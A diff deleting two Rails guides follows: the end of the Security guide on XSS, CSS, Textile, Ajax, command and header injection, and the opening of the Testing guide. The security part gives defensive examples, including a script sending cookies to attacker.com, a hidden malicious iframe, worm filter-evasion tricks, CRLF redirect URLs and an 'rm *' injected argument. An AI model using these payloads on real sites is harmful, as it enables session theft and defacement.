-h5. HTML/JavaScript Injection
-
-The most common XSS language is of course the most popular client-side scripting language JavaScript, often in combination with HTML. _(highlight)Escaping user input is essential_.
-
-Here is the most straightforward test to check for XSS:
-
-<html>
-<script>alert('Hello');</script>
-</html>
-
-This JavaScript code will simply display an alert box. The next examples do exactly the same, only in very uncommon places:
-
-<html>
-<img src=javascript:alert('Hello')>
-<table background="javascript:alert('Hello')">
-</html>
-
-h6. Cookie Theft
-
-These examples don't do any harm so far, so let's see how an attacker can steal the user's cookie (and thus hijack the user's session). In JavaScript you can use the document.cookie property to read and write the document's cookie. JavaScript enforces the same origin policy, that means a script from one domain cannot access cookies of another domain. The document.cookie property holds the cookie of the originating web server. However, you can read and write this property, if you embed the code directly in the HTML document (as it happens with XSS). Inject this anywhere in your web application to see your own cookie on the result page:
-
-<plain>
-<script>document.write(document.cookie);</script>
-</plain>
-
-For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victim's cookie.
-
-<html>
-<script>document.write('<img src="http://www.attacker.com/' <plus> document.cookie <plus> '">');</script>
-</html>
-
-The log files on www.attacker.com will read like this:
-
-<plain>
-GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
-</plain>
-
-You can mitigate these attacks (in the obvious way) by adding the "httpOnly":http://dev.rubyonrails.org/ticket/8895 flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies "will still be visible using Ajax":http://ha.ckers.org/blog/20070719/firefox-implements-httponly-and-is-vulnerable-to-xmlhttprequest/, though.
-
-h6. Defacement
-
-With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. The most popular way is to include code from external sources by iframes:
-
-<html>
-<iframe name=”StatPage” src="http://58.xx.xxx.xxx" width=5 height=5 style=”display:none”></iframe>
-</html>
-
-This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iframe is taken from an actual attack on legitimate Italian sites using the "Mpack attack framework":http://isc.sans.org/diary.html?storyid=3015. Mpack tries to install malicious software through security holes in the web browser – very successfully, 50% of the attacks succeed.
-
-A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site's original, but transmits the user name and password to the attacker's site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site.
-
-Reflected injection attacks are those where the payload is not stored to present it to the victim later on, but included in the URL. Especially search forms fail to escape the search string. The following link presented a page which stated that "George Bush appointed a 9 year old boy to be the chairperson...":
-
-<plain>
-http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1-->
-  <script src=http://www.securitylab.ru/test/sc.js></script><!--
-</plain>
-
-h6(#html-injection-countermeasures). Countermeasures
-
-_(highlight)It is very important to filter malicious input, but it is also important to escape the output of the web application_.
-
-Especially for XSS, it is important to do _(highlight)whitelist input filtering instead of blacklist_. Whitelist filtering states the values allowed as opposed to the values not allowed. Blacklists are never complete.
-
-Imagine a blacklist deletes “script” from the user input. Now the attacker injects “&lt;scrscriptipt&gt;”, and after the filter, “&lt;script&gt;” remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible:
-
-<ruby>
-strip_tags("some<<b>script>alert('hello')<</b>/script>")
-</ruby>
-
-This returned "some&lt;script&gt;alert('hello')&lt;/script&gt;", which makes an attack work. That's why I vote for a whitelist approach, using the updated Rails 2 method sanitize():
-
-<ruby>
-tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
-s = sanitize(user_input, :tags => tags, :attributes => %w(href title))
-</ruby>
-
-This allows only the given tags and does a good job, even against all kinds of tricks and malformed tags.
-
-As a second step, _(highlight)it is good practice to escape all output of the application_, especially when re-displaying user input, which hasn't been input-filtered (as in the search form example earlier on). _(highlight)Use +escapeHTML()+ (or its alias +h()+) method_ to replace the HTML input characters &amp;, &quot;, &lt;, &gt; by their uninterpreted representations in HTML (+&amp;amp;+, +&amp;quot;+, +&amp;lt+;, and +&amp;gt;+). However, it can easily happen that the programmer forgets to use it, so <em class="highlight">it is recommended to use the "SafeErb":http://safe-erb.rubyforge.org/svn/plugins/safe_erb/ plugin</em>. SafeErb reminds you to escape strings from external sources.
-
-h6. Obfuscation and Encoding Injection
-
-Network traffic is mostly based on the limited Western alphabet, so new character encodings, such as Unicode, emerged, to transmit characters in other languages. But, this is also a threat to web applications, as malicious code can be hidden in different encodings that the web browser might be able to process, but the web application might not. Here is an attack vector in UTF-8 encoding:
-
-<html>
-<IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;
-  &amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;>
-</html>
-
-This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus “get to know your enemy”, is the "Hackvertor":http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php. Rails' sanitize() method does a good job to fend off encoding attacks.
-
-h5. Examples from the Underground
-
-_In order to understand today's attacks on web applications, it's best to take a look at some real-world attack vectors._
-
-The following is an excerpt from the "Js.Yamanner@m":http://www.symantec.com/security_response/writeup.jsp?docid=2006-061211-4111-99&tabid=1 Yahoo! Mail "worm":http://groovin.net/stuff/yammer.txt. It appeared on June 11, 2006 and was the first webmail interface worm:
-
-<html>
-<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
-  target=""onload="var http_request = false;    var Email = '';
-  var IDList = '';   var CRumb = '';   function makeRequest(url, Func, Method,Param) { ...
-</html>
-
-The worms exploits a hole in Yahoo's HTML/JavaScript filter, which usually filters all target and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application.
-
-Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details on "Rosario Valotta's paper":http://www.xssed.com/article/9/Paper_A_PoC_of_a_cross_webmail_worm_XWW_called_Njuda_connection/. Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with.
-
-In December 2006, 34,000 actual user names and passwords were stolen in a "MySpace phishing attack":http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html. The idea of the attack was to create a profile page named “login_home_index_html”, so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form.
-
-The MySpace Samy worm will be discussed in the CSS Injection section.
-
-h4. CSS Injection
-
--- _CSS Injection is actually JavaScript injection, because some browsers (IE, some versions of Safari and others) allow JavaScript in CSS. Think twice about allowing custom CSS in your web application._
-
-CSS Injection is explained best by a well-known worm, the "MySpace Samy worm":http://namb.la/popular/tech.html. This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over 1 million friend requests, but it creates too much traffic on MySpace, so that the site goes offline. The following is a technical explanation of the worm.
-
-MySpace blocks many tags, however it allows CSS. So the worm's author put JavaScript into CSS like this:
-
-<html>
-<div style="background:url('javascript:alert(1)')">
-</html>
-
-So the payload is in the style attribute. But there are no quotes allowed in the payload, because single and double quotes have already been used. But JavaScript has a handy eval() function which executes any string as code.
-
-<html>
-<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
-</html>
-
-The eval() function is a nightmare for blacklist input filters, as it allows the style attribute to hide the word “innerHTML”:
-
-<plain>
-alert(eval('document.body.inne' + 'rHTML'));
-</plain>
-
-The next problem was MySpace filtering the word “javascript”, so the author used “java&lt;NEWLINE&gt;script" to get around this:
-
-<html>
-<div id="mycode" expr="alert('hah!')" style="background:url('java↵
script:eval(document.all.mycode.expr)')">
-</html>
-
-Another problem for the worm's author were CSRF security tokens. Without them he couldn't send a friend request over POST. He got around it by sending a GET to the page right before adding a user and parsing the result for the CSRF token.
-
-In the end, he got a 4 KB worm, which he injected into his profile page.
-
-The "moz-binding":http://www.securiteam.com/securitynews/5LP051FHPE.html CSS property proved to be another way to introduce JavaScript in CSS in Gecko-based browsers (Firefox, for example).
-
-h5(#css-injection-countermeasures). Countermeasures
-
-This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, I am not aware of a whitelist CSS filter. _(highlight)If you want to allow custom colors or images, you can allow the user to choose them and build the CSS in the web application_. Use Rails' +sanitize()+ method as a model for a whitelist CSS filter, if you really need one.
-
-h4. Textile Injection
-
--- _If you want to provide text formatting other than HTML (due to security), use a mark-up language which is converted to HTML on the server-side. "RedCloth":http://redcloth.org/ is such a language for Ruby, but without precautions, it is also vulnerable to XSS._
-
-For example, RedCloth translates +_test_+ to &lt;em&gt;test&lt;em&gt;, which makes the text italic. However, up to the current version 3.0.4, it is still vulnerable to XSS. Get the "all-new version 4":http://www.redcloth.org that removed serious bugs. However, even that version has "some security bugs":http://www.rorsecurity.info/journal/2008/10/13/new-redcloth-security.html, so the countermeasures still apply. Here is an example for version 3.0.4:
-
-<ruby>
-RedCloth.new('<script>alert(1)</script>').to_html
-# => "<script>alert(1)</script>"
-</ruby>
-
-Use the :filter_html option to remove HTML which was not created by the Textile processor.
-
-<ruby>
-RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html
-# => "alert(1)"
-</ruby>
-
-However, this does not filter all HTML, a few tags will be left (by design), for example &lt;a&gt;:
-
-<ruby>
-RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html
-# => "<p><a href="javascript:alert(1)">hello</a></p>"
-</ruby>
-
-h5(#textile-injection-countermeasures). Countermeasures
-
-It is recommended to _(highlight)use RedCloth in combination with a whitelist input filter_, as described in the countermeasures against XSS section.
-
-h4. Ajax Injection
-
--- _The same security precautions have to be taken for Ajax actions as for “normal” ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn't render a view._
-
-If you use the "in_place_editor plugin":http://dev.rubyonrails.org/browser/plugins/in_place_editing, or actions that return a string, rather than rendering a view, _(highlight)you have to escape the return value in the action_. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method.
-
-h4. Command Line Injection
-
--- _Use user-supplied command line parameters with caution._
-
-If your application has to execute commands in the underlying operating system, there are several methods in Ruby: exec(command), syscall(command), system(command) and `command`. You will have to be especially careful with these functions if the user may enter the whole command, or a part of it. This is because in most shells, you can execute another command at the end of the first one, concatenating them with a semicolon (;) or a vertical bar (|).
-
-A countermeasure is to _(highlight)use the +system(command, parameters)+ method which passes command line parameters safely_.
-
-<ruby>
-system("/bin/echo","hello; rm *")
-# prints "hello; rm *" and does not delete files
-</ruby>
-
-
-h4. Header Injection
-
--- _HTTP headers are dynamically generated and under certain circumstances user input may be injected. This can lead to false redirection, XSS or HTTP response splitting._
-
-HTTP request headers have a Referer, User-Agent (client software), and Cookie field, among others. Response headers for example have a status code, Cookie and Location (redirection target URL) field. All of them are user-supplied and may be manipulated with more or less effort. _(highlight)Remember to escape these header fields, too._ For example when you display the user agent in an administration area.
-
-Besides that, it is _(highlight)important to know what you are doing when building response headers partly based on user input._ For example you want to redirect the user back to a specific page. To do that you introduced a “referer“ field in a form to redirect to the given address:
-
-<ruby>
-redirect_to params[:referer]
-</ruby>
-
-What happens is that Rails puts the string into the Location header field and sends a 302 (redirect) status to the browser. The first thing a malicious user would do, is this:
-
-<plain>
-http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld
-</plain>
-
-And due to a bug in (Ruby and) Rails up to version 2.1.2 (excluding it), a hacker may inject arbitrary header fields; for example like this:
-
-<plain>
-http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi!
-http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld
-</plain>
-
-Note that "%0d%0a" is URL-encoded for "\r\n" which is a carriage-return and line-feed (CRLF) in Ruby. So the resulting HTTP header for the second example will be the following because the second Location header field overwrites the first.
-
-<plain>
-HTTP/1.1 302 Moved Temporarily
-(...)
-Location: http://www.malicious.tld
-</plain>
-
-So _(highlight)attack vectors for Header Injection are based on the injection of CRLF characters in a header field._ And what could an attacker do with a false redirection? He could redirect to a phishing site that looks the same as yours, but asks to login again (and sends the login credentials to the attacker). Or he could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the +redirect_to+ method. _(highlight)Make sure you do it yourself when you build other header fields with user input._
-
-h5. Response Splitting
-
-If Header Injection was possible, Response Splitting might be, too. In HTTP, the header block is followed by two CRLFs and the actual data (usually HTML). The idea of Response Splitting is to inject two CRLFs into a header field, followed by another response with malicious HTML. The response will be:
-
-<plain>
-HTTP/1.1 302 Found [First standard 302 response]
-Date: Tue, 12 Apr 2005 22:09:07 GMT
-Location:
Content-Type: text/html
-
-
-HTTP/1.1 200 OK [Second New response created by attacker begins]
-Content-Type: text/html
-
-
-&lt;html&gt;&lt;font color=red&gt;hey&lt;/font&gt;&lt;/html&gt; [Arbitary malicious input is
-Keep-Alive: timeout=15, max=100         shown as the redirected page]
-Connection: Keep-Alive
-Transfer-Encoding: chunked
-Content-Type: text/html
-</plain>
-
-Under certain circumstances this would present the malicious HTML to the victim. However, this only seems to work with Keep-Alive connections (and many browsers are using one-time connections). But you can't rely on this. _(highlight)In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks._
-
-
-h3. Additional Resources
-
-The security landscape shifts and it is important to keep up to date, because missing a new vulnerability can be catastrophic. You can find additional resources about (Rails) security here:
-
-* The Ruby on Rails security project posts security news regularly: "http://www.rorsecurity.info":http://www.rorsecurity.info
-* Subscribe to the Rails security "mailing list":http://groups.google.com/group/rubyonrails-security
-* "Keep up to date on the other application layers":http://secunia.com/ (they have a weekly newsletter, too)
-* A "good security blog":http://ha.ckers.org/blog/ including the "Cross-Site scripting Cheat Sheet":http://ha.ckers.org/xss.html
diff --git a/railties/guides/source/testing.textile b/railties/guides/source/testing.textile
deleted file mode 100644
index 2341a3522c..0000000000
--- a/railties/guides/source/testing.textile
+++ /dev/null
@@ -1,947 +0,0 @@
-h2. A Guide to Testing Rails Applications
-
-This guide covers built-in mechanisms offered by Rails to test your application. By referring to this guide, you will be able to:
-
-* Understand Rails testing terminology
-* Write unit, functional and integration tests for your application
-* Identify other popular testing approaches and plugins
-
-This guide won't teach you to write a Rails application; it assumes basic familiarity with the Rails way of doing things.
-
-endprologue.
-
-h3. Why Write Tests for your Rails Applications?
-
-* Rails makes it super easy to write your tests. It starts by producing skeleton test code in the background while you are creating your models and controllers.
-* By simply running your Rails tests you can ensure your code adheres to the desired functionality even after some major code refactoring.
-* Rails tests can also simulate browser requests and thus you can test your application's response without having to test it through your browser.
-
-h3. Introduction to Testing
-
-Testing support was woven into the Rails fabric from the beginning. It wasn't an "oh! let's bolt on support for running tests because they're new and cool" epiphany. Just about every Rails application interacts heavily with a database - and, as a result, your tests will need a database to interact with as well. To write efficient tests, you'll need to understand how to set up this database and populate it with sample data.
-
-h4. The Three Environments
-
-Every Rails application you build has 3 sides: a side for production, a side for development, and a side for testing.
-
-One place you'll find this distinction is in the +config/database.yml+ file. This YAML configuration file has 3 different sections defining 3 unique database setups:
-
-* production
-* development
-* test
-
-This allows you to set up and interact with test data without any danger of your tests altering data from your production environment.
-
-For example, suppose you need to test your new +delete_this_user_and_every_everything_associated_with_it+ function. Wouldn't you want to run this in an environment where it makes no difference if you destroy data or not?
-
-When you do end up destroying your testing database (and it will happen, trust me), you can rebuild it from scratch according to the specs defined in the development database. You can do this by running +rake db:test:prepare+.
-
-h4. Rails Sets up for Testing from the Word Go
-
-Rails creates a +test+ folder for you as soon as you create a Rails project using +rails new+ _application_name_. If you list the contents of this folder then you shall see:
-
-<shell>
-$ ls -F test/
-
-fixtures/       functional/     integration/    test_helper.rb  unit/
-</shell>
-
-The +unit+ folder is meant to hold tests for your models, the +functional+ folder is meant to hold tests for your controllers, and the +integration+ folder is meant to hold tests that involve any number of controllers interacting. Fixtures are a way of organizing test data; they reside in the +fixtures+ folder. The +test_helper.rb+ file holds the default configuration for your tests.
-
-h4. The Low-Down on Fixtures
-
-For good tests, you'll need to give some thought to setting up test data. In Rails, you can handle this by defining and customizing fixtures.
-
-h5. What are Fixtures?
-
-_Fixtures_ is a fancy word for sample data. Fixtures allow you to populate your testing database with predefined data before your tests run. Fixtures are database independent and assume a single format: *YAML*.
-
-You'll find fixtures under your +test/fixtures+ directory. When you run +rails generate model+ to create a new model, fixture stubs will be automatically created and placed in this directory.
-
-h5. YAML
-
-YAML-formatted fixtures are a very human-friendly way to describe your sample data. These types of fixtures have the *.yml* file extension (as in +users.yml+).
-
-Here's a sample YAML fixture file:
-
-<yaml>
-# lo & behold!  I am a YAML comment!
-david:
- name: David Heinemeier Hansson
- birthday: 1979-10-15
- profession: Systems development
-
-steve:
- name: Steve Ross Kellock
- birthday: 1974-09-27
- profession: guy with keyboard
-</yaml>
-
-Each fixture is given a name followed by an indented list of colon-separated key/value pairs. Records are separated by a blank space. You can place comments in a fixture file by using the # character in the first column.
-
-h5. ERB'in It Up
-
-ERB allows you to embed ruby code within templates. YAML fixture format is pre-processed with ERB when you load fixtures. This allows you to use Ruby to help you generate some sample data.
-
-<erb>
-<% earth_size = 20 %>
-mercury:
-  size: <%= earth_size / 50 %>
-  brightest_on: <%= 113.days.ago.to_s(:db) %>
-
-venus:
-  size: <%= earth_size / 2 %>
-  brightest_on: <%= 67.days.ago.to_s(:db) %>
-
-mars:
-  size: <%= earth_size - 69 %>
-  brightest_on: <%= 13.days.from_now.to_s(:db) %>
-</erb>
-
-Anything encased within the
-
-<erb>
-<% %>
-</erb>
-
-tag is considered Ruby code. When this fixture is loaded, the +size+ attribute of the three records will be set to 20/50, 20/2, and 20-69 respectively. The +brightest_on+ attribute will also be evaluated and formatted by Rails to be compatible with the database.
-
-h5. Fixtures in Action
-
-Rails by default automatically loads all fixtures from the +test/fixtures+ folder for your unit and functional test. Loading involves three steps:
-
-* Remove any existing data from the table corresponding to the fixture
-* Load the fixture data into the table
-* Dump the fixture data into a variable in case you want to access it directly
-
-h5. Hashes with Special Powers
-
-Fixtures are basically Hash objects. As mentioned in point #3 above, you can access the hash object directly because it is automatically setup as a local variable of the test case. For example:
-
-<ruby>
-# this will return the Hash for the fixture named david
-users(:david)
-
-# this will return the property for david called id
-users(:david).id
-</ruby>
-
-Fixtures can also transform themselves into the form of the original class. Thus, you can get at the methods only available to that class.
-
-<ruby>
-# using the find method, we grab the "real" david as a User
-david = users(:david).find
-
-# and now we have access to methods only available to a User class
-email(david.girlfriend.email, david.location_tonight)
-</ruby>
-
-h3. Unit Testing your Models
-
-In Rails, unit tests are what you write to test your models.
-
-For this guide we will be using Rails _scaffolding_. It will create the model, a migration, controller and views for the new resource in a single operation. It will also create a full test suite following Rails best practices. I will be using examples from this generated code and will be supplementing it with additional examples where necessary.
-
-NOTE: For more information on Rails <i>scaffolding</i>, refer to "Getting Started with Rails":getting_started.html
-
-When you use +rails generate scaffold+, for a resource among other things it creates a test stub in the +test/unit+ folder:
-
-<shell>
-$ rails generate scaffold post title:string body:text
-...
-create  app/models/post.rb
-create  test/unit/post_test.rb
-create  test/fixtures/posts.yml
-...
-</shell>
-
-The default test stub in +test/unit/post_test.rb+ looks like this:
-
-<ruby>
-require 'test_helper'
-
-class PostTest < ActiveSupport::TestCase
-  # Replace this with your real tests.
-  test "the truth" do
-    assert true
-  end
-end
-</ruby>
-
-A line by line examination of this file will help get you oriented to Rails testing code and terminology.
-
-<ruby>
-require 'test_helper'
-</ruby>
-
-As you know by now, +test_helper.rb+ specifies the default configuration to run our tests. This is included with all the tests, so any methods added to this file are available to all your tests.
-
-<ruby>
-class PostTest < ActiveSupport::TestCase
-</ruby>
-
-The +PostTest+ class defines a _test case_ because it inherits from +ActiveSupport::TestCase+. +PostTest+ thus has all the methods available from +ActiveSupport::TestCase+. You'll see those methods a little later in this guide.
-
-Any method defined within a +Test::Unit+ test case that begins with +test+ (case sensitive) is simply called a test. So, +test_password+, +test_valid_password+ and +testValidPassword+ all are legal test names and are run automatically when the test case is run.
-
-Rails adds a +test+ method that takes a test name and a block. It generates a normal +Test::Unit+ test with method names prefixed with +test_+. So,
-
-<ruby>
-test "the truth" do
-  assert true
-end
-</ruby>
-
-acts as if you had written
-
-<ruby>
-def test_the_truth
-  assert true
-end
-</ruby>
-
-only the +test+ macro allows a more readable test name. You can still use regular method definitions though.
-
-NOTE: The method name is generated by replacing spaces with underscores. The result does not need to be a valid Ruby identifier though, the name may contain punctuation characters etc. That's because in Ruby technically any string may be a method name. Odd ones need +define_method+ and +send+ calls, but formally there's no restriction.
-
-<ruby>
-assert true
-</ruby>
-
-This line of code is called an _assertion_. An assertion is a line of code that evaluates an object (or expression) for expected results. For example, an assertion can check:
-
-* does this value = that value?
-* is this object nil?
-* does this line of code throw an exception?
-* is the user's password greater than 5 characters?
-
-Every test contains one or more assertions. Only when all the assertions are successful will the test pass.
-
-h4. Preparing your Application for Testing
-
-Before you can run your tests, you need to ensure that the test database structure is current. For this you can use the following rake commands:
-
-<shell>
-$ rake db:migrate
-...
-$ rake db:test:load
-</shell>
-
-The +rake db:migrate+ above runs any pending migrations on the _development_ environment and updates +db/schema.rb+. The +rake db:test:load+ recreates the test database from the current +db/schema.rb+. On subsequent attempts, it is a good idea to first run +db:test:prepare+, as it first checks for pending migrations and warns you appropriately.
-
-NOTE: +db:test:prepare+ will fail with an error if +db/schema.rb+ doesn't exist.
-
-h5. Rake Tasks for Preparing your Application for Testing
-
-|_.Tasks                         |_.Description|
-|+rake db:test:clone+            |Recreate the test database from the current environment's database schema|
-|+rake db:test:clone_structure+  |Recreate the test database from the development structure|
-|+rake db:test:load+             |Recreate the test database from the current +schema.rb+|
-|+rake db:test:prepare+          |Check for pending migrations and load the test schema|
-|+rake db:test:purge+            |Empty the test database.|
-
-TIP: You can see all these rake tasks and their descriptions by running +rake --tasks --describe+
-
-h4. Running Tests
-
-Running a test is as simple as invoking the file containing the test cases through Ruby:
-
-<shell>
-$ ruby -Itest test/unit/post_test.rb
-
-Loaded suite unit/post_test
-Started
-.
-Finished in 0.023513 seconds.
-
-1 tests, 1 assertions, 0 failures, 0 errors
-</shell>
-
-This will run all the test methods from the test case. Note that +test_helper.rb+ is in the +test+ directory, hence this directory needs to be added to the load path using the +-I+ switch.
-
-You can also run a particular test method from the test case by using the +-n+ switch with the +test method name+.
-
-<shell>
-$ ruby -Itest test/unit/post_test.rb -n test_the_truth
-
-Loaded suite unit/post_test
-Started
-.
-Finished in 0.023513 seconds.
-
-1 tests, 1 assertions, 0 failures, 0 errors
-</shell>
-
-The +.+ (dot) above indicates a passing test. When a test fails you see an +F+; when a test throws an error you see an +E+ in its place. The last line of the output is the summary.
-
-To see how a test failure is reported, you can add a failing test to the +post_test.rb+ test case.
-
-<ruby>
-test "should not save post without title" do
-  post = Post.new
-  assert !post.save
-end
-</ruby>
-
-Let us run this newly added test.
-
-<shell>
-$ ruby unit/post_test.rb -n test_should_not_save_post_without_title
-Loaded suite -e
-Started
-F
-Finished in 0.102072 seconds.
-
-  1) Failure:
-test_should_not_save_post_without_title(PostTest) [/test/unit/post_test.rb:6]:
-<false> is not true.
-
-1 tests, 1 assertions, 1 failures, 0 errors
-</shell>
-
-In the output, +F+ denotes a failure. You can see the corresponding trace shown under +1)+ along with the name of the failing test. The next few lines contain the stack trace followed by a message which mentions the actual value and the expected value by the assertion. The default assertion messages provide just enough information to help pinpoint the error. To make the assertion failure message more readable, every assertion provides an optional message parameter, as shown here:
-
-<ruby>
-test "should not save post without title" do
-  post = Post.new
-  assert !post.save, "Saved the post without a title"
-end
-</ruby>
-
-Running this test shows the friendlier assertion message:
-
-<shell>
-  1) Failure:
-test_should_not_save_post_without_title(PostTest) [/test/unit/post_test.rb:6]:
-Saved the post without a title.
-<false> is not true.
-</shell>
-
-Now to get this test to pass we can add a model level validation for the _title_ field.
-
-<ruby>
-class Post < ActiveRecord::Base
-  validates :title, :presence => true
-end
-</ruby>
-
-Now the test should pass. Let us verify by running the test again:
-
-<shell>
-$ ruby unit/post_test.rb -n test_should_not_save_post_without_title
-Loaded suite unit/post_test
-Started
-.
-Finished in 0.193608 seconds.
-
-1 tests, 1 assertions, 0 failures, 0 errors
-</shell>
-
-Now, if you noticed, we first wrote a test which fails for a desired functionality, then we wrote some code which adds the functionality and finally we ensured that our test passes. This approach to software development is referred to as _Test-Driven Development_ (TDD).
-
-TIP: Many Rails developers practice _Test-Driven Development_ (TDD). This is an excellent way to build up a test suite that exercises every part of your application. TDD is beyond the scope of this guide, but one place to start is with "15 TDD steps to create a Rails application":http://andrzejonsoftware.blogspot.com/2007/05/15-tdd-steps-to-create-rails.html.
-
-To see how an error gets reported, here's a test containing an error:
-
-<ruby>
-test "should report error" do
-  # some_undefined_variable is not defined elsewhere in the test case
-  some_undefined_variable
-  assert true
-end
-</ruby>
-
-Now you can see even more output in the console from running the tests:
-
-<shell>
-$ ruby unit/post_test.rb -n test_should_report_error
-Loaded suite -e
-Started
-E
-Finished in 0.082603 seconds.
-
-  1) Error:
-test_should_report_error(PostTest):
-NameError: undefined local variable or method `some_undefined_variable' for #<PostTest:0x249d354>
-    /test/unit/post_test.rb:6:in `test_should_report_error'
-
-1 tests, 0 assertions, 0 failures, 1 errors
-</shell>
-
-Notice the 'E' in the output. It denotes a test with error.
-
-NOTE: The execution of each test method stops as soon as any error or an assertion failure is encountered, and the test suite continues with the next method. All test methods are executed in alphabetical order.
-
-h4. What to Include in Your Unit Tests
-
-Ideally, you would like to include a test for everything which could possibly break. It's a good practice to have at least one test for each of your validations and at least one test for every method in your model.
-
-h4. Assertions Available
-
-By now you've caught a glimpse of some of the assertions that are available. Assertions are the worker bees of testing. They are the ones that actually perform the checks to ensure that things are going as planned.
-
-There are a bunch of different types of assertions you can use. Here's the complete list of assertions that ship with +test/unit+, the default testing library used by Rails. The +[msg]+ parameter is an optional string message you can specify to make your test failure messages clearer. It's not required.
-
-|_.Assertion                                                       |_.Purpose|
-|+assert( boolean, [msg] )+                                        |Ensures that the object/expression is true.|
-|+assert_equal( obj1, obj2, [msg] )+                               |Ensures that +obj1 == obj2+ is true.|
-|+assert_not_equal( obj1, obj2, [msg] )+                           |Ensures that +obj1 == obj2+ is false.|
-|+assert_same( obj1, obj2, [msg] )+                                |Ensures that +obj1.equal?(obj2)+ is true.|
-|+assert_not_same( obj1, obj2, [msg] )+                            |Ensures that +obj1.equal?(obj2)+ is false.|
-|+assert_nil( obj, [msg] )+                                        |Ensures that +obj.nil?+ is true.|
-|+assert_not_nil( obj, [msg] )+                                    |Ensures that +obj.nil?+ is false.|
-|+assert_match( regexp, string, [msg] )+                           |Ensures that a string matches the regular expression.|
-|+assert_no_match( regexp, string, [msg] )+                        |Ensures that a string doesn't match the regular expression.|
-|+assert_in_delta( expecting, actual, delta, [msg] )+              |Ensures that the numbers +expecting+ and +actual+ are within +delta+ of each other.|
-|+assert_throws( symbol, [msg] ) { block }+                        |Ensures that the given block throws the symbol.|
-|+assert_raise( exception1, exception2, ... ) { block }+           |Ensures that the given block raises one of the given exceptions.|
-|+assert_nothing_raised( exception1, exception2, ... ) { block }+  |Ensures that the given block doesn't raise one of the given exceptions.|
-|+assert_instance_of( class, obj, [msg] )+                         |Ensures that +obj+ is of the +class+ type.|
-|+assert_kind_of( class, obj, [msg] )+                             |Ensures that +obj+ is or descends from +class+.|
-|+assert_respond_to( obj, symbol, [msg] )+                         |Ensures that +obj+ has a method called +symbol+.|
-|+assert_operator( obj1, operator, obj2, [msg] )+                  |Ensures that +obj1.operator(obj2)+ is true.|
-|+assert_send( array, [msg] )+                                     |Ensures that executing the method listed in +array[1]+ on the object in +array[0]+ with the parameters of +array[2 and up]+ is true. This one is weird eh?|
-|+flunk( [msg] )+                                                  |Ensures failure. This is useful to explicitly mark a test that isn't finished yet.|
-
-Because of the modular nature of the testing framework, it is possible to create your own assertions. In fact, that's exactly what Rails does. It includes some specialized assertions to make your life easier.
-
-NOTE: Creating your own assertions is an advanced topic that we won't cover in this tutorial.
-
-h4. Rails Specific Assertions
-
-Rails adds some custom assertions of its own to the +test/unit+ framework:
-
-NOTE: +assert_valid(record)+ has been deprecated. Please use +assert(record.valid?)+ instead.
-
-|_.Assertion                                                                        |_.Purpose|
-|+assert_valid(record)+                                                             |Ensures that the passed record is valid by Active Record standards and returns any error messages if it is not.|
-|+assert_difference(expressions, difference = 1, message = nil) {...}+              |Test numeric difference between the return value of an expression as a result of what is evaluated in the yielded block.|
-|+assert_no_difference(expressions, message = nil, &amp;block)+                     |Asserts that the numeric result of evaluating an expression is not changed before and after invoking the passed in block.|
-|+assert_recognizes(expected_options, path, extras={}, message=nil)+                |Asserts that the routing of the given path was handled correctly and that the parsed options (given in the expected_options hash) match path. Basically, it asserts that Rails recognizes the route given by expected_options.|
-|+assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)+  |Asserts that the provided options can be used to generate the provided path. This is the inverse of assert_recognizes. The extras parameter is used to tell the request the names and values of additional request parameters that would be in a query string. The message parameter allows you to specify a custom error message for assertion failures.|
